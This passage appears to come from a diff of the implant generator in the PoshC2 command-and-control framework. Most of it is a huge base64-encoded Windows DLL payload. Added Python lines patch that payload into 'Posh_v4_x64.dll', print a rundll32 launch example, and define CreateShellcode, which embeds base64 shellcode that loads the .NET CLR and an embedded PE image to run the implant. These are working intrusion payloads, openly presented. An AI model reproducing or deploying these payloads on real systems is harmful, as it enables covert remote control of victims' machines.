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CoOKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKkwqTipQKlIqVCpWKlgqWipcKl4qYCpAAAA8AAAGAEAAPCgAKEQoRihIKEooTChOKFAoUihWKFgoWihcKF4oYChiKGQoaihuKHAocih0KHYoeCh6KHwofihAKIIohCiGKIgoiiiMKI4okCiSKJQoliiYKJoonCieKIYqSCpKKkwqYCpiKmQqZipoKmoqbCpuKnAqcip0KnYqeCp6KnwqfipAKoIqhCqGKogqiiqMKo4qkCqSKpQqliqYKpoqnCqeKqAqoiqkKqYqqCqqKqwqriqwKrIqtCq4KroqvCq+KoAqwirEKsYqyCrKKswqzirQKtIq1CrWKtgq2ircKt4q4CriKuQq5iroKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrCisMKw4rAAAAAABAEgBAAAIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAQAQCQAAAACKAYoCigOKBIoFigaKB4oIigmKCooLigyKDYoOig+KAIoRihKKE4oUihWKFooXihiKGYoaihuKHIodih6KH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii2KLooviiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pAAgAQDQAQAAYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KrwqgCrEKsgqzCrQKtQq2CrcKuAq5CroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuAFABABQAAADYpfCl+KVQplimaKYAgAEASAAAAACgqKLApQimKKZIpmimiKa4ptCm2KbgphinIKdAqEioUKhYqGCoaKhwqHiogKiIqJiooKioqLCouKjAqMio0KgA0AEAFAAAAICrqKvIq/CrGKxIrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + self.PatchDll("%sPosh_v4_x64.dll" % name, v4_64, 0x00017300, "DLL") + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "RunDLL Example:"+Colours.GREEN ) + self.QuickstartLog( "rundll32 Posh_x64.dll,VoidFunc" ) + + def CreateShellcode(self, name=""): + # Load CLR "v2.0.50727" + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Shellcode that loads CLR v2.0.50727"+Colours.GREEN ) + v2_86_offset = 0x000132E0 + 4 + v2_86 = "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